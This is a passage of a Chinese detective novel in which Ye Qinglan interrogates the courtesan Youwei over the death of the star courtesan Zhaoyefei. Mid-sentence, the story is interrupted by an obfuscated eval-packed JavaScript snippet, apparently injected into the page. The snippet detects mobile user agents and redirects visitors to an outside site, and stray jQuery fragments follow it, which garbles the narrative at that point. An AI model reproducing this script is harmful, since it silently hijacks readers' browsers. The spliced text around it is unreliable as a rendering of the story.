陈思贤喉头哽住了,“陆捕头,小人沉迷美色,弄得倾家荡产,深自痛悔。求大人打醒我!”
“这个忙,本捕头乐意帮。”
“多谢大人,阿……阿嚏!”
又一个惊天动地的喷嚏过后,陆冰脸上多了条亮晃晃的清水大鼻涕。
叶青岚害怕得闭上眼睛。再睁开的时候,只见陆冰抬起手,狠狠地抹了把脸,险些把鼻子抹下来。
他放过了陈思贤,走到下一人面前。
“乐游原主人?孟公子,是嫌惜朝这本名不够动听么?”
孟惜朝看着像个硬骨头,昂着头讥讽道,“不及三板斧的万一。”
“哦?”
“陆捕头不必惺惺作态。你们提刑司成日里抓人搜身拷打,早已恶名远扬。办案不讲证据,胡乱猜疑,屈打成招,如何能让世人心服?”
陆冰翻着手中的簿子,“孟公子去年秋天连续光顾醉春风七日,豪掷四百两纹银,求见照夜妃。这难道不是证据?”
“我逛青楼,与人命案何干?难道妓女死了,定是恩客杀的?京城何人不逛醉春风?就连令尊刑部侍郎三品大员,去年中秋夜也巴巴地打赏花魁呢!”
陆冰的脸色由青转白,由白转红,猛地抽出鞭子往地上一甩。这一下声如裂帛,一旁的马匹受了惊,前蹄抬起,长声嘶鸣。举子们慌乱躲闪,数人被推倒,摔在地上。差役们连忙去拉缰绳。
一片混乱中,陆冰翻身上马,喝道,“全部带回提刑司。着人去他们住的会馆细细搜查,任何蛛丝马迹都不能放过!”
举子们哭喊者有之,喝骂者有之,念佛者有之,背诵圣贤书者有之。叶青岚看着差役们前推后拥,押着一长串人走了。
陆冰骑马跟在最后,手里的鞭子高高扬起。
提刑司的人前脚走,蔡妈妈后脚就醒了。醒来后的第一件事,便是一抬手,揭掉了贴在醉春风大门上的封条。
“恩客都抓完了,姑娘们,收拾屋子,开门迎客!”
叶青岚大为叹服。提刑司的封条说揭就揭。看来这位蔡妈妈也是个狠角色。
腊月的天黑得早,刚到酉时,街上便点起了灯,如一条彩带铺在滴翠湖边。彩带中最亮的一盏,就是醉春风门口的大花灯。
叶青岚裹紧干透了的大氅,施施然走进醉春风。
蔡妈妈迎上来。她为了压惊隆重打扮了一番,一笑,脸上的粉就往下掉,“哎哟,你不是早上掉进湖里那个……叶公子吗?”
叶青岚微笑,“妈妈的记性可真好。过目不忘。”
蔡妈妈掏出手绢拭泪,“公子说笑了。老身命苦,醉春风遭此横祸,花魁横死,还连累许多客人,往后谁还敢来啊!”
“妈妈说哪里话,我这不是来了吗。”
蔡妈妈立刻转悲为喜,“苍天有眼,派来公子这样的大恩人。恩人楼上请,我叫新任花魁出来伺候。”
“哦?这么快就有新任花魁了?”
蔡妈妈一张老脸笑成了菊花,“比前任花魁更漂亮。公子见了就知道了。”
幼薇今夜穿了件蝶戏花间的粉裙,眉如春山,红唇娇艳欲滴。她确实比前几日更漂亮了,而是眉目间透着一股喜气,未语先笑,容光焕发。
“这位公子好生面善。”
叶青岚心中一动,“你认得我?”
幼薇弯腰给他斟酒,“我虽叫不出公子的名字,但一见了你,就似故交一般,想必是前世有缘。”
叶青岚揶揄道,“这风月场上的套话,你怕是能说上一箩筐不带重样的。”
幼薇瞪大眼睛,“哪有这许多?公子看我像是如此轻浮之人吗?”
叶青岚虽然和她厮混了四夜,却只是听曲饮酒而已,对她不甚了解。
“你是什么样的人?说来我听听。”
幼薇挨着他坐下,一双妙目忽闪忽闪,“我呀,是这里最好欺负的人。”
前天晚上照夜妃破门而入,抢走她的客人,当众羞辱她。隔天,照夜妃就吊死了。
叶青岚低声道,“欺负你的人,是不是都会死?”
“公子说哪里话……”
“蔡妈妈说你是新任花魁。”
“只要能伺候公子这样俊俏的男人,当不当花魁又有什么要紧。”
她像没有骨头似的靠过来,双手搂住叶青岚的脖子,吐气如兰,“如此良宵,公子还等什么?”
白皙的手指解开衣带,脱下外衣,拨开前襟,还没触到肌肤,突然缩了回去。她盯着那道狰狞的鞭痕,“这是谁打的?”
“提刑司的陆捕头。”
“那三板斧人人惧怕,公子怎么就招惹了他。躺下,我给你涂药。”
叶青岚被按倒在榻上。幼薇转身从抽屉里取出一个小瓷瓶,倒出些白色的粉末,敷在伤口上。
伤口又是一阵刺痛。
“公子受了伤,怎么不去医馆包扎?”
“这里可比医馆强多了,既有伤药,又有如此温柔细心的姑娘。”
幼薇裁了一截纱布,将伤口细细包上,飞了个媚眼,“一会儿别太用力,小心崩开。”
叶青岚和她目光相接,“我看姑娘的面相,不日就有一桩大喜事。”
“公子还会相面?”
“不瞒你说,我是个先知,能看到天命。此地本有一只飞天的鸾凤,盘桓于隔壁房中,不知何时移到此处来了。姑娘可知是何缘由?”
幼薇脸上的喜色褪去了,“公子是想问照夜妃吊死一案吧?”
“哦?莫非她死在隔壁?”
“正是。”
“这就对了,她一死,那飞天的鸾凤就移到你身上了。”
幼薇一听这话,霍地站起,“晦气!我和她有何干系?她嚣张跋扈,处处树敌,活该落到这个下场。”
“树敌?你是说她为人所害?”
幼薇僵了一僵,“公子到底是来做什么的?”
叶青岚压低声音,“我呀,看到你的天命了。”
他坐起来,伸出两根指头乱掐,“你会弹琴,也会跳舞,可琴技平平,舞技更差,总是被人压一头。照夜妃仗着自己是花魁,抢走你的客人,你恨她入骨,又争不过,只能私下摔东西泄愤。她一死,最高兴的人就是你了。”
幼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255575|197985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
薇怔在原地,“你怎么知道这些……”
“我看到你披上了照夜妃身死时穿的舞衣,看到你在万众瞩目下成为醉春风的花魁。还有……”
“还有什么?”
叶青岚停顿片刻,忽然掐尖嗓子,“我看到你鼻青脸肿,被押上刑场,在刽子手的刀下香消玉殒!”
恰在此时,身后响起笃笃笃的敲门声。
“啊!”
幼薇尖叫一声,手中的药瓶摔在地上,砸得粉碎。
房门弹开,一个七八岁的小孩端着托盘,盘中是一个青瓷茶盅。
“幼薇姑娘,这是厨房给花魁娘子送的雪莲茶。”
幼薇看清她的脸,长出一口气,“拿进来吧。”
叶青岚喝道,“慢着,那茶盅的盖子上怎么有照夜妃的血手印?”
幼薇浑身一激灵,捂住眼睛,“什么东西?快拿走!”
那小孩是个实诚人,揭开盖子,翻过来翻过去查看。天青色的釉面毫无杂质,哪来什么血手印。
“什么都没有啊。”
叶青岚道,“先知的眼睛才能看见。幼薇,照夜妃来找你了。”
幼薇浑身发抖,“滚!滚出去!冤有头债有主,你自取灭亡,和我有什么关系?!”
她抓起桌上的茶杯,一个接一个往外扔。小孩吓得不轻,把托盘往地上一放,赏钱也不要了,扭头跑了出去。
幼薇靠着桌子喘息良久,突然转过头,怒道,“什么天命,如今庙会上算卦的都不玩这一套了!公子若是为照夜妃而来的,也不必故弄玄虚。实话告诉你,醉春风上上下下,没有人不恨她。”
“为何?”
“她那张贱嘴,成天出口伤人,发不完的脾气,当上花魁后更是气焰嚣张,真把自己当贵妃了,视姐妹们如同草芥。大家都是一个窑子里的,谁比谁高贵?!”
“她就要走了。”
“她是放话说要走。可妈妈严防死守,她未必走得了。”
“哦?”
“妈妈可宝贝她了,舍不得这颗摇钱树。”
叶青岚目光闪动,“前天晚上你在做什么?”
幼薇已镇定下来,眼神里没了惊惶,反倒有些挑衅的意味。
“你不是能看到天命嘛,何必问我?”
叶青岚摇了摇头,“淘气。”
看来今晚诈不出来了。
他捡起地上的托盘,又有了主意,“我们玩个游戏如何?从现在开始不许眨眼,输的人就喝一口雪莲茶。”
“不好。”
叶青岚掏出钱袋子扔在桌上,“若是赢了,这些都归你了。”
那袋子鼓鼓囊囊,装满了他从河边捡来的石头。撞在桌上,发出咚的一声。
幼薇垂眸看了看,换上一副笑脸,“一言为定。”
一炷香后,雪莲茶见了底。幼薇伏在桌子上,沉沉睡去。叶青岚伸指探了探鼻息,呼吸均匀。他叹了口气,抱起她放到床上,盖好被子。一用力,胸前伤口果然又崩开了。
“这茶真有那么催眠啊……”
这碗雪莲茶无毒,但前晚的茶里必定有毒。